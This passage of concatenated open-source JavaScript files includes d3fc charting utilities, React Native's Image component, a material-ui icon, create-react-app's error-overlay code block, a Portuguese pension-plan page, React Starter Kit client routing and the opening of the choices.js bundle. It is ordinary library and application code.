return d.state !== 'DONE' ? 'hidden' : 'visible';
}).text(xLabel);
g.select('text.vertical').attr('x', function (d) {
return x(d.target) + paddingValue;
}).attr('y', function (d) {
return y(d.source) + (y(d.target) - y(d.source)) / 2;
}).style('visibility', function (d) {
return d.state !== 'DONE' ? 'hidden' : 'visible';
}).text(yLabel);
decorate(g, data, index);
});
};
function updatePositions() {
var container = d3.select(this);
var datum = container.datum()[0];
if (datum.state !== 'DONE') {
var mouse = d3.mouse(this);
var snapped = snap.apply(this, mouse);
if (datum.state === 'SELECT_SOURCE') {
datum.source = datum.target = snapped;
} else if (datum.state === 'SELECT_TARGET') {
datum.target = snapped;
} else {
throw new Error('Unknown state ' + datum.state);
}
}
}
function mouseenter() {
var container = d3.select(this).on('click.measure', mouseclick).on('mousemove.measure', mousemove).on('mouseleave.measure', mouseleave);
var data = container.datum();
if (data[0] == null) {
data.push({
state: 'SELECT_SOURCE'
});
}
updatePositions.call(this);
container.call(measure);
}
function mousemove() {
var container = d3.select(this);
updatePositions.call(this);
container.call(measure);
}
function mouseleave() {
var container = d3.select(this);
var data = container.datum();
if (data[0] != null && data[0].state === 'SELECT_SOURCE') {
data.pop();
}
container.on('click.measure', null).on('mousemove.measure', null).on('mouseleave.measure', null);
}
function mouseclick() {
var container = d3.select(this);
var datum = container.datum()[0];
switch (datum.state) {
case 'SELECT_SOURCE':
updatePositions.call(this);
event.measuresource.apply(this, arguments);
datum.state = 'SELECT_TARGET';
break;
case 'SELECT_TARGET':
updatePositions.call(this);
event.measuretarget.apply(this, arguments);
datum.state = 'DONE';
break;
case 'DONE':
event.measureclear.apply(this, arguments);
datum.state = 'SELECT_SOURCE';
updatePositions.call(this);
break;
default:
throw new Error('Unknown state ' + datum.state);
}
container.call(measure);
}
measure.xScale = function (_x) {
if (!arguments.length) {
return xScale;
}
xScale = _x;
return measure;
};
measure.yScale = function (_x) {
if (!arguments.length) {
return yScale;
}
yScale = _x;
return measure;
};
measure.snap = function (_x) {
if (!arguments.length) {
return snap;
}
snap = _x;
return measure;
};
measure.decorate = function (_x) {
if (!arguments.length) {
return decorate;
}
decorate = _x;
return measure;
};
measure.xLabel = function (_x) {
if (!arguments.length) {
return xLabel;
}
xLabel = d3.functor(_x);
return measure;
};
measure.yLabel = function (_x) {
if (!arguments.length) {
return yLabel;
}
yLabel = d3.functor(_x);
return measure;
};
measure.padding = function (_x) {
if (!arguments.length) {
return padding;
}
padding = d3.functor(_x);
return measure;
};
d3.rebind(measure, event, 'on');
return measure;
}
function container () {
var padding = 0,
component = noop,
decorate = noop;
var dataJoin$$ = dataJoin().selector('g.container').element('g').attr({
'class': 'container',
'layout-style': 'flex: 1'
});
var container = function container(selection) {
selection.each(function (data, index) {
var expandedPadding = expandRect(padding);
var g = dataJoin$$(this, [data]);
g.enter().append('rect').layout('flex', 1);
g.enter().append('g').layout({
position: 'absolute',
top: expandedPadding.top,
left: expandedPadding.left,
bottom: expandedPadding.bottom,
right: expandedPadding.right
});
d3.select(this).layout();
g.select('g').call(component);
decorate(g, data, index);
});
};
container.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return container;
};
container.padding = function (x) {
if (!arguments.length) {
return padding;
}
padding = x;
return container;
};
container.component = function (x) {
if (!arguments.length) {
return component;
}
component = x;
return container;
};
return container;
}
var tool = {
crosshair: crosshair,
fibonacciFan: fibonacciFan,
container: container,
measure: measure
};
/**
* The extent function enhances the functionality of the equivalent D3 extent function, allowing
* you to pass an array of fields, or accessors, which will be used to derive the extent of the supplied array. For
* example, if you have an array of items with properties of 'high' and 'low', you
* can use <code>fc.util.extent().fields(['high', 'low'])(data)</code> to compute the extent of your data.
*
* @memberof fc.util
*/
function extent$2 () {
var fields = [],
extraPoints = [],
padUnit = 'percent',
pad = 0,
symmetricalAbout = null;
/**
* @param {array} data an array of data points, or an array of arrays of data points
*/
var extents = function extents(data) {
// we need an array of arrays if we don't have one already
if (!Array.isArray(data[0])) {
data = [data];
}
// the fields can be a mixed array of property names or accessor functions
var mutatedFields = fields.map(function (field) {
if (typeof field !== 'string') {
return field;
}
return function (d) {
return d[field];
};
});
var dataMin = d3.min(data, function (d0) {
return d3.min(d0, function (d1) {
return d3.min(mutatedFields.map(function (f) {
return f(d1);
}));
});
});
var dataMax = d3.max(data, function (d0) {
return d3.max(d0, function (d1) {
return d3.max(mutatedFields.map(function (f) {
return f(d1);
}));
});
});
var dateExtent = Object.prototype.toString.call(dataMin) === '[object Date]';
var min = dateExtent ? dataMin.getTime() : dataMin;
var max = dateExtent ? dataMax.getTime() : dataMax;
// apply symmetry rules
if (symmetricalAbout != null) {
var symmetrical = dateExtent ? symmetricalAbout.getTime() : symmetricalAbout;
var distanceFromMax = Math.abs(max - symmetrical),
distanceFromMin = Math.abs(min - symmetrical),
halfRange = Math.max(distanceFromMax, distanceFromMin);
min = symmetrical - halfRange;
max = symmetrical + halfRange;
}
if (padUnit === 'domain') {
// pad absolutely
if (Array.isArray(pad)) {
min -= pad[0];
max += pad[1];
} else {
min -= pad;
max += pad;
}
} else if (padUnit === 'percent') {
// pad percentagely
if (Array.isArray(pad)) {
var deltaArray = [pad[0] * (max - min), pad[1] * (max - min)];
min -= deltaArray[0];
max += deltaArray[1];
} else {
var delta = pad * (max - min) / 2;
min -= delta;
max += delta;
}
}
if (extraPoints.length) {
min = Math.min(min, d3.min(extraPoints));
max = Math.max(max, d3.max(extraPoints));
}
if (dateExtent) {
min = new Date(min);
max = new Date(max);
}
// Return the smallest and largest
return [min, max];
};
/*
* @param {array} fields the names of object properties that represent field values, or accessor functions.
*/
extents.fields = function (x) {
if (!arguments.length) {
return fields;
}
fields = x;
return extents;
};
extents.include = function (x) {
if (!arguments.length) {
return extraPoints;
}
extraPoints = x;
return extents;
};
extents.padUnit = function (x) {
if (!arguments.length) {
return padUnit;
}
padUnit = x;
return extents;
};
extents.pad = function (x) {
if (!arguments.length) {
return pad;
}
pad = x;
return extents;
};
extents.symmetricalAbout = function (x) {
if (!arguments.length) {
return symmetricalAbout;
}
symmetricalAbout = x;
return extents;
};
return extents;
}
/* global requestAnimationFrame:false */
// Debounce render to only occur once per frame
function render (renderInternal) {
var rafId = null;
return function () {
if (rafId == null) {
rafId = requestAnimationFrame(function () {
rafId = null;
renderInternal();
});
}
};
}
function randomItem$1(array) {
return array[randomIndex$1(array)];
}
function randomIndex$1(array) {
return Math.floor(Math.random() * array.length);
}
function cloneAndReplace$1(array, index, replacement) {
var clone = array.slice();
clone[index] = replacement;
return clone;
}
var array = Object.freeze({
randomItem: randomItem$1,
randomIndex: randomIndex$1,
cloneAndReplace: cloneAndReplace$1
});
function percentageChange () {
var baseIndex = d3.functor(0),
value = identity;
var percentageChange = function percentageChange(data) {
if (data.length === 0) {
return [];
}
var baseValue = value(data[baseIndex(data)]);
return data.map(function (d, i) {
return (value(d, i) - baseValue) / baseValue;
});
};
percentageChange.baseIndex = function (x) {
if (!arguments.length) {
return baseIndex;
}
baseIndex = d3.functor(x);
return percentageChange;
};
percentageChange.value = function (x) {
if (!arguments.length) {
return value;
}
value = x;
return percentageChange;
};
return percentageChange;
}
var util = {
dataJoin: dataJoin,
expandRect: expandRect,
extent: extent$2,
fn: fn,
minimum: minimum$1,
fractionalBarWidth: fractionalBarWidth,
innerDimensions: innerDimensions,
scale: scale,
noSnap: noSnap,
pointSnap: pointSnap,
seriesPointSnap: seriesPointSnap,
seriesPointSnapXOnly: seriesPointSnapXOnly,
seriesPointSnapYOnly: seriesPointSnapYOnly,
render: render,
array: array,
percentageChange: percentageChange
};
var fc = {
annotation: annotation,
chart: chart,
data: data,
indicator: indicator,
scale: scale$1,
series: series,
svg: svg,
tool: tool,
util: util,
layout: layout
};
return fc;
}));
|
Libraries/Image/Image.ios.js
|
zhangwei001/react-native
|
/**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule Image
* @flow
*/
'use strict';
var EdgeInsetsPropType = require('EdgeInsetsPropType');
var ImageResizeMode = require('ImageResizeMode');
var ImageStylePropTypes = require('ImageStylePropTypes');
var NativeMethodsMixin = require('NativeMethodsMixin');
var NativeModules = require('NativeModules');
var PropTypes = require('ReactPropTypes');
var React = require('React');
var ReactNativeViewAttributes = require('ReactNativeViewAttributes');
var StyleSheet = require('StyleSheet');
var StyleSheetPropType = require('StyleSheetPropType');
var flattenStyle = require('flattenStyle');
var invariant = require('invariant');
var requireNativeComponent = require('requireNativeComponent');
var resolveAssetSource = require('resolveAssetSource');
var warning = require('warning');
/**
* A React component for displaying different types of images,
* including network images, static resources, temporary local images, and
* images from local disk, such as the camera roll.
*
* Example usage:
*
* ```
* renderImages: function() {
* return (
* <View>
* <Image
* style={styles.icon}
* source={require('image!myIcon')}
* />
* <Image
* style={styles.logo}
* source={{uri: 'http://facebook.github.io/react/img/logo_og.png'}}
* />
* </View>
* );
* },
* ```
*/
var Image = React.createClass({
propTypes: {
style: StyleSheetPropType(ImageStylePropTypes),
/**
* `uri` is a string representing the resource identifier for the image, which
* could be an http address, a local file path, or the name of a static image
* resource (which should be wrapped in the `require('image!name')` function).
*/
source: PropTypes.oneOfType([
PropTypes.shape({
uri: PropTypes.string,
}),
// Opaque type returned by require('./image.jpg')
PropTypes.number,
]),
/**
* A static image to display while downloading the final image off the
* network.
* @platform ios
*/
defaultSource: PropTypes.shape({
uri: PropTypes.string,
}),
/**
* When true, indicates the image is an accessibility element.
* @platform ios
*/
accessible: PropTypes.bool,
/**
* The text that's read by the screen reader when the user interacts with
* the image.
* @platform ios
*/
accessibilityLabel: PropTypes.string,
/**
* When the image is resized, the corners of the size specified
* by capInsets will stay a fixed size, but the center content and borders
* of the image will be stretched. This is useful for creating resizable
* rounded buttons, shadows, and other resizable assets. More info on
* [Apple documentation](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIImage_Class/index.html#//apple_ref/occ/instm/UIImage/resizableImageWithCapInsets)
* @platform ios
*/
capInsets: EdgeInsetsPropType,
/**
* Determines how to resize the image when the frame doesn't match the raw
* image dimensions.
*/
resizeMode: PropTypes.oneOf(['cover', 'contain', 'stretch']),
/**
* A unique identifier for this element to be used in UI Automation
* testing scripts.
*/
testID: PropTypes.string,
/**
* Invoked on mount and layout changes with
* `{nativeEvent: {layout: {x, y, width, height}}}`.
*/
onLayout: PropTypes.func,
/**
* Invoked on load start
* @platform ios
*/
onLoadStart: PropTypes.func,
/**
* Invoked on download progress with `{nativeEvent: {loaded, total}}`
* @platform ios
*/
onProgress: PropTypes.func,
/**
* Invoked on load error with `{nativeEvent: {error}}`
* @platform ios
*/
onError: PropTypes.func,
/**
* Invoked when load completes successfully
* @platform ios
*/
onLoad: PropTypes.func,
/**
* Invoked when load either succeeds or fails
* @platform ios
*/
onLoadEnd: PropTypes.func,
},
statics: {
resizeMode: ImageResizeMode,
},
mixins: [NativeMethodsMixin],
/**
* `NativeMethodsMixin` will look for this when invoking `setNativeProps`. We
* make `this` look like an actual native component class.
*/
viewConfig: {
uiViewClassName: 'UIView',
validAttributes: ReactNativeViewAttributes.UIView
},
render: function() {
for (var prop in cfg.nativeOnly) {
if (this.props[prop] !== undefined) {
console.warn('Prop `' + prop + ' = ' + this.props[prop] + '` should ' +
'not be set directly on Image.');
}
}
var source = resolveAssetSource(this.props.source) || {};
var defaultSource = (this.props.defaultSource && resolveAssetSource(this.props.defaultSource)) || {};
var {width, height} = source;
var style = flattenStyle([{width, height}, styles.base, this.props.style]) || {};
var isNetwork = source.uri && source.uri.match(/^https?:/);
var RawImage = isNetwork ? RCTNetworkImageView : RCTImageView;
var resizeMode = this.props.resizeMode || (style || {}).resizeMode || 'cover'; // Workaround for flow bug t7737108
var tintColor = (style || {}).tintColor; // Workaround for flow bug t7737108
// This is a workaround for #8243665. RCTNetworkImageView does not support tintColor
// TODO: Remove this hack once we have one image implementation #8389274
if (isNetwork && tintColor) {
RawImage = RCTImageView;
}
return (
<RawImage
{...this.props}
style={style}
resizeMode={resizeMode}
tintColor={tintColor}
src={source.uri}
defaultImageSrc={defaultSource.uri}
/>
);
}
});
var styles = StyleSheet.create({
base: {
overflow: 'hidden',
},
});
var cfg = {
nativeOnly: {
src: true,
defaultImageSrc: true,
imageTag: true,
progressHandlerRegistered: true,
},
};
var RCTImageView = requireNativeComponent('RCTImageView', Image, cfg);
var RCTNetworkImageView = (NativeModules.NetworkImageViewManager) ? requireNativeComponent('RCTNetworkImageView', Image, cfg) : RCTImageView;
module.exports = Image;
|
src/svg-icons/action/credit-card.js
|
pradel/material-ui
|
import React from 'react';
import pure from 'recompose/pure';
import SvgIcon from '../../SvgIcon';
let ActionCreditCard = (props) => (
<SvgIcon {...props}>
<path d="M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"/>
</SvgIcon>
);
ActionCreditCard = pure(ActionCreditCard);
ActionCreditCard.displayName = 'ActionCreditCard';
export default ActionCreditCard;
|
packages/react-error-overlay/src/components/CodeBlock.js
|
gutenye/create-react-app
|
/**
* Copyright (c) 2015-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
/* @flow */
import React from 'react';
import { redTransparent, yellowTransparent } from '../styles';
const _preStyle = {
display: 'block',
padding: '0.5em',
marginTop: '0.5em',
marginBottom: '0.5em',
overflowX: 'auto',
whiteSpace: 'pre-wrap',
borderRadius: '0.25rem',
};
const primaryPreStyle = {
..._preStyle,
backgroundColor: redTransparent,
};
const secondaryPreStyle = {
..._preStyle,
backgroundColor: yellowTransparent,
};
const codeStyle = {
fontFamily: 'Consolas, Menlo, monospace',
};
type CodeBlockPropsType = {|
main: boolean,
codeHTML: string,
|};
function CodeBlock(props: CodeBlockPropsType) {
const preStyle = props.main ? primaryPreStyle : secondaryPreStyle;
const codeBlock = { __html: props.codeHTML };
return (
<pre style={preStyle}>
<code style={codeStyle} dangerouslySetInnerHTML={codeBlock} />
</pre>
);
}
export default CodeBlock;
|
app/components/Progressivo/index.js
|
rvsiqueira/client
|
import React from 'react';
import Button from 'components/Button';
import Body from 'components/Body';
import styles from './styles.css';
import play from 'assets/icon/play-cover.svg';
import lines from 'assets/icon/line-bg.svg';
function Progressivo() {
return (
<section>
<div className={styles.video}>
<h2 className={styles.white}>
<span>O Que é uma</span>
Previdência VGBL Progressivo?
</h2>
<span className={styles.play}>
<img src={play} alt="play" />
<img src={lines} alt="lines" className={styles.line} />
</span>
</div>
<Body grey relaxed>
<h2>
<span>Por que esse é o</span>
Melhor plano para você?
</h2>
<article className={styles.item}>
<h3 className={styles.item_title}>Um plano de previdência</h3>
<p className={styles.item_body}>
É uma forma prática de guardar
dinheiro para realizar seus sonhos. Você pode ficar tranquilo, pois a gestão dos seus fundos é realizada pela BB DTVM, maior administradora de recursos da América Latina.
</p>
<Button className="btn btn_link">Saiba mais ></Button>
</article>
<article className={styles.item}>
<h3 className={styles.item_title}>Como funciona a tributação regressiva?</h3>
<p className={styles.item_body}>
Com essa tributação, quanto mais tempo você deixar sua aplicação rendendo, menor o percentual de imposto de renda será cobrado ao resgatar.
</p>
<Button className="btn btn_link">Saiba mais ></Button>
</article>
<article className={styles.item}>
<h3 className={styles.item_title}>Segurança e experiência</h3>
<p className={styles.item_body}>
Para começar, seu dinheiro é aplicado em um fundo com perfil conservador e estável, preferido pela maioria dos nossos clientes. Após os primeiros 60 dias, você pode optar por mudar para um investimento mais arrojado.
</p>
<Button className="btn btn_link">Saiba mais ></Button>
</article>
</Body>
<Body white collapsed collapsedSides>
<h3 className={styles.heading_border}>Detalhes Técnicos</h3>
</Body>
<Body white relaxed>
<div className={styles.group}>
<div className={styles.group_label}>Simulação de Rentabilidade</div>
<div className={styles.group_value}>8% ao ano</div>
<div className={styles.group_link} href="#hi"><Button className="btn btn_link">Saiba mais ></Button></div>
</div>
<div className={styles.group}>
<div className={styles.group_label}>Taxa de carregamento</div>
<div className={styles.group_value}>0,5% por aporte</div>
<div className={styles.group_link} href="#hi"><Button className="btn btn_link">Saiba mais ></Button></div>
</div>
<div className={styles.group}>
<div className={styles.group_label}>Modalidade de Tributação</div>
<div className={styles.group_value}>Progressivo</div>
<div className={styles.group_link} href="#hi"><Button className="btn btn_link">Saiba mais ></Button></div>
</div>
</Body>
<Body relaxed>
<Button className="btn btn_ghost btn-block">
salvar simulação
</Button>
</Body>
</section>
);
}
export default Progressivo;
|
src/client.js
|
Artemuch727/UserList-React-Isomorhic-
|
/**
* React Starter Kit (https://www.reactstarterkit.com/)
*
* Copyright © 2014-2016 Kriasoft, LLC. All rights reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE.txt file in the root directory of this source tree.
*/
import 'babel-polyfill';
import React from 'react';
import ReactDOM from 'react-dom';
import FastClick from 'fastclick';
import UniversalRouter from 'universal-router';
import queryString from 'query-string';
import { createPath } from 'history/PathUtils';
import history from './core/history';
import App from './components/App';
import { ErrorReporter, deepForceUpdate } from './core/devUtils';
import injectTapEventPlugin from 'react-tap-event-plugin';
// Needed for onTouchTap
// http://stackoverflow.com/a/34015469/988941
injectTapEventPlugin();
// Global (context) variables that can be easily accessed from any React component
// https://facebook.github.io/react/docs/context.html
const context = {
// Enables critical path CSS rendering
// https://github.com/kriasoft/isomorphic-style-loader
insertCss: (...styles) => {
// eslint-disable-next-line no-underscore-dangle
const removeCss = styles.map(x => x._insertCss());
return () => { removeCss.forEach(f => f()); };
},
};
function updateTag(tagName, keyName, keyValue, attrName, attrValue) {
const node = document.head.querySelector(`${tagName}[${keyName}="${keyValue}"]`);
if (node && node.getAttribute(attrName) === attrValue) return;
// Remove and create a new tag in order to make it work with bookmarks in Safari
if (node) {
node.parentNode.removeChild(node);
}
if (typeof attrValue === 'string') {
const nextNode = document.createElement(tagName);
nextNode.setAttribute(keyName, keyValue);
nextNode.setAttribute(attrName, attrValue);
document.head.appendChild(nextNode);
}
}
function updateMeta(name, content) {
updateTag('meta', 'name', name, 'content', content);
}
function updateCustomMeta(property, content) { // eslint-disable-line no-unused-vars
updateTag('meta', 'property', property, 'content', content);
}
function updateLink(rel, href) { // eslint-disable-line no-unused-vars
updateTag('link', 'rel', rel, 'href', href);
}
// Switch off the native scroll restoration behavior and handle it manually
// https://developers.google.com/web/updates/2015/09/history-api-scroll-restoration
const scrollPositionsHistory = {};
if (window.history && 'scrollRestoration' in window.history) {
window.history.scrollRestoration = 'manual';
}
let onRenderComplete = function initialRenderComplete() {
const elem = document.getElementById('css');
if (elem) elem.parentNode.removeChild(elem);
onRenderComplete = function renderComplete(route, location) {
document.title = route.title;
updateMeta('description', route.description);
// Update necessary tags in <head> at runtime here, ie:
// updateMeta('keywords', route.keywords);
// updateCustomMeta('og:url', route.canonicalUrl);
// updateCustomMeta('og:image', route.imageUrl);
// updateLink('canonical', route.canonicalUrl);
// etc.
let scrollX = 0;
let scrollY = 0;
const pos = scrollPositionsHistory[location.key];
if (pos) {
scrollX = pos.scrollX;
scrollY = pos.scrollY;
} else {
const targetHash = location.hash.substr(1);
if (targetHash) {
const target = document.getElementById(targetHash);
if (target) {
scrollY = window.pageYOffset + target.getBoundingClientRect().top;
}
}
}
// Restore the scroll position if it was saved into the state
// or scroll to the given #hash anchor
// or scroll to top of the page
window.scrollTo(scrollX, scrollY);
// Google Analytics tracking. Don't send 'pageview' event after
// the initial rendering, as it was already sent
if (window.ga) {
window.ga('send', 'pageview', createPath(location));
}
};
};
// Make taps on links and buttons work fast on mobiles
FastClick.attach(document.body);
const container = document.getElementById('app');
let appInstance;
let currentLocation = history.location;
let routes = require('./routes').default;
// Re-render the app when window.location changes
async function onLocationChange(location) {
// Remember the latest scroll position for the previous location
scrollPositionsHistory[currentLocation.key] = {
scrollX: window.pageXOffset,
scrollY: window.pageYOffset,
};
// Delete stored scroll position for next page if any
if (history.action === 'PUSH') {
delete scrollPositionsHistory[location.key];
}
currentLocation = location;
try {
// Traverses the list of routes in the order they are defined until
// it finds the first route that matches provided URL path string
// and whose action method returns anything other than `undefined`.
const route = await UniversalRouter.resolve(routes, {
path: location.pathname,
query: queryString.parse(location.search),
});
// Prevent multiple page renders during the routing process
if (currentLocation.key !== location.key) {
return;
}
if (route.redirect) {
history.replace(route.redirect);
return;
}
appInstance = ReactDOM.render(
<App context={context}>{route.component}</App>,
container,
() => onRenderComplete(route, location),
);
} catch (error) {
console.error(error); // eslint-disable-line no-console
// Current url has been changed during navigation process, do nothing
if (currentLocation.key !== location.key) {
return;
}
// Display the error in full-screen for development mode
if (process.env.NODE_ENV !== 'production') {
appInstance = null;
document.title = `Error: ${error.message}`;
ReactDOM.render(<ErrorReporter error={error} />, container);
return;
}
// Avoid broken navigation in production mode by a full page reload on error
window.location.reload();
}
}
// Handle client-side navigation by using HTML5 History API
// For more information visit https://github.com/mjackson/history#readme
history.listen(onLocationChange);
onLocationChange(currentLocation);
// Enable Hot Module Replacement (HMR)
if (module.hot) {
module.hot.accept('./routes', () => {
routes = require('./routes').default; // eslint-disable-line global-require
if (appInstance) {
try {
// Force-update the whole tree, including components that refuse to update
deepForceUpdate(appInstance);
} catch (error) {
appInstance = null;
document.title = `Hot Update Error: ${error.message}`;
ReactDOM.render(<ErrorReporter error={error} />, container);
return;
}
}
onLocationChange(currentLocation);
});
}
|
ajax/libs/choices.js/2.2.3/choices.js
|
sufuf3/cdnjs
|
/*! choices.js v2.2.2 | (c) 2016 Josh Johnson | https://github.com/jshjohnson/Choices#readme */
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "/assets/scripts/dist/";
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(1);
/***/ },
/* 1 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _fuse = __webpack_require__(2);
var _fuse2 = _interopRequireDefault(_fuse);
var _index = __webpack_require__(3);
var _index2 = _interopRequireDefault(_index);
var _index3 = __webpack_require__(22);
var _utils = __webpack_require__(23);
__webpack_require__(24);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
/**
* Choices
*/
var Choices = function () {
function Choices() {
var _this = this;
var element = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '[data-choice]';
var userConfig = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
_classCallCheck(this, Choices);
// If there are multiple elements, create a new instance
// for each element besides the first one (as that already has an instance)
if ((0, _utils.isType)('String', element)) {
var elements = document.querySelectorAll(element);
if (elements.length > 1) {
for (var i = 1; i < elements.length; i++) {
var el = elements[i];
new Choices(el, userConfig);
}
}
}
var defaultConfig = {
items: [],
choices: [],
maxItemCount: -1,
addItems: true,
removeItems: true,
removeItemButton: false,
editItems: false,
duplicateItems: true,
delimiter: ',',
paste: true,
search: true,
searchFloor: 1,
flip: true,
regexFilter: null,
shouldSort: true,
sortFilter: _utils.sortByAlpha,
sortFields: ['label', 'value'],
placeholder: true,
placeholderValue: null,
prependValue: null,
appendValue: null,
loadingText: 'Loading...',
noResultsText: 'No results round',
noChoicesText: 'No choices to choose from',
itemSelectText: 'Press to select',
classNames: {
containerOuter: 'choices',
containerInner: 'choices__inner',
input: 'choices__input',
inputCloned: 'choices__input--cloned',
list: 'choices__list',
listItems: 'choices__list--multiple',
listSingle: 'choices__list--single',
listDropdown: 'choices__list--dropdown',
item: 'choices__item',
itemSelectable: 'choices__item--selectable',
itemDisabled: 'choices__item--disabled',
itemChoice: 'choices__item--choice',
placeholder: 'choices__placeholder',
group: 'choices__group',
groupHeading: 'choices__heading',
button: 'choices__button',
activeState: 'is-active',
focusState: 'is-focused',
openState: 'is-open',
disabledState: 'is-disabled',
highlightedState: 'is-highlighted',
hiddenState: 'is-hidden',
flippedState: 'is-flipped',
loadingState: 'is-loading'
},
callbackOnInit: null,
callbackOnAddItem: null,
callbackOnRemoveItem: null,
callbackOnHighlightItem: null,
callbackOnUnhighlightItem: null,
callbackOnCreateTemplates: null,
callbackOnChange: null,
callbackOnSearch: null
};
// Merge options with user options
this.config = (0, _utils.extend)(defaultConfig, userConfig);
// Create data store
this.store = new _index2.default(this.render);
// State tracking
this.initialised = false;
this.currentState = {};
this.prevState = {};
this.currentValue = '';
// Retrieve triggering element (i.e. element with 'data-choice' trigger)
this.passedElement = (0, _utils.isType)('String', element) ? document.querySelector(element) : element;
if (!this.passedElement) {
console.error('Passed element not found');
return;
}
this.highlightPosition = 0;
this.canSearch = this.config.search;
// Assing preset choices from passed object
this.presetChoices = this.config.choices;
// Assign preset items from passed object first
this.presetItems = this.config.items;
// Then add any values passed from attribute
if (this.passedElement.value) {
this.presetItems = this.presetItems.concat(this.passedElement.value.split(this.config.delimiter));
}
// Bind methods
this.init = this.init.bind(this);
this.render = this.render.bind(this);
this.destroy = this.destroy.bind(this);
this.disable = this.disable.bind(this);
// Bind event handlers
this._onFocus = this._onFocus.bind(this);
this._onBlur = this._onBlur.bind(this);
this._onKeyUp = this._onKeyUp.bind(this);
this._onKeyDown = this._onKeyDown.bind(this);
this._onClick = this._onClick.bind(this);
this._onTouchMove = this._onTouchMove.bind(this);
this._onTouchEnd = this._onTouchEnd.bind(this);
this._onMouseDown = this._onMouseDown.bind(this);
this._onMouseOver = this._onMouseOver.bind(this);
this._onPaste = this._onPaste.bind(this);
this._onInput = this._onInput.bind(this);
// Monitor touch taps/scrolls
this.wasTap = true;
// Cutting the mustard
var cuttingTheMustard = 'querySelector' in document && 'addEventListener' in document && 'classList' in document.createElement('div');
if (!cuttingTheMustard) console.error('Choices: Your browser doesn\'t support Choices');
// Input type check
var isValidType = ['select-one', 'select-multiple', 'text'].some(function (type) {
return type === _this.passedElement.type;
});
var canInit = (0, _utils.isElement)(this.passedElement) && isValidType;
if (canInit) {
// If element has already been initalised with Choices
if (this.passedElement.getAttribute('data-choice') === 'active') return;
// Let's go
this.init();
} else {
console.error('Incompatible input passed');
}
}
/*========================================
= Public functions =
========================================*/
/**
* Initialise Choices
* @return
* @public
*/
_createClass(Choices, [{
key: 'init',
value: function init() {
var callback = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.config.callbackOnInit;
if (this.initialised === true) return;
// Set initialise flag
this.initialised = true;
// Create required elements
this._createTemplates();
// Generate input markup
this._createInput();
// Subscribe store to render method
this.store.subscribe(this.render);
// Render any items
this.render();
// Trigger event listeners
this._addEventListeners();
// Run callback if it is a function
if (callback) {
if ((0, _utils.isType)('Function', callback)) {
callback();
} else {
console.error('callbackOnInit: Callback is not a function');
}
}
}
/**
* Destroy Choices and nullify values
* @return
* @public
*/
}, {
key: 'destroy',
value: function destroy() {
if (this.initialised === false) return;
// Remove all event listeners
this._removeEventListeners();
// Reinstate passed element
this.passedElement.classList.remove(this.config.classNames.input, this.config.classNames.hiddenState);
this.passedElement.tabIndex = '';
this.passedElement.removeAttribute('style', 'display:none;');
this.passedElement.removeAttribute('aria-hidden');
this.containerOuter.outerHTML = this.passedElement.outerHTML;
// Nullify stores
this.passedElement = null;
this.userConfig = null;
this.config = null;
this.store = null;
// Uninitialise
this.initialised = false;
}
/**
* Render group choices into a DOM fragment and append to choice list
* @param {Array} groups Groups to add to list
* @param {Array} choices Choices to add to groups
* @param {DocumentFragment} fragment Fragment to add groups and options to (optional)
* @return {DocumentFragment} Populated options fragment
* @private
*/
}, {
key: 'renderGroups',
value: function renderGroups(groups, choices, fragment) {
var _this2 = this;
var groupFragment = fragment || document.createDocumentFragment();
var filter = this.config.sortFilter;
// If sorting is enabled, filter groups
if (this.config.shouldSort) {
groups.sort(filter);
}
groups.forEach(function (group) {
// Grab options that are children of this group
var groupChoices = choices.filter(function (choice) {
if (_this2.passedElement.type === 'select-one') {
return choice.groupId === group.id;
}
return choice.groupId === group.id && !choice.selected;
});
if (groupChoices.length >= 1) {
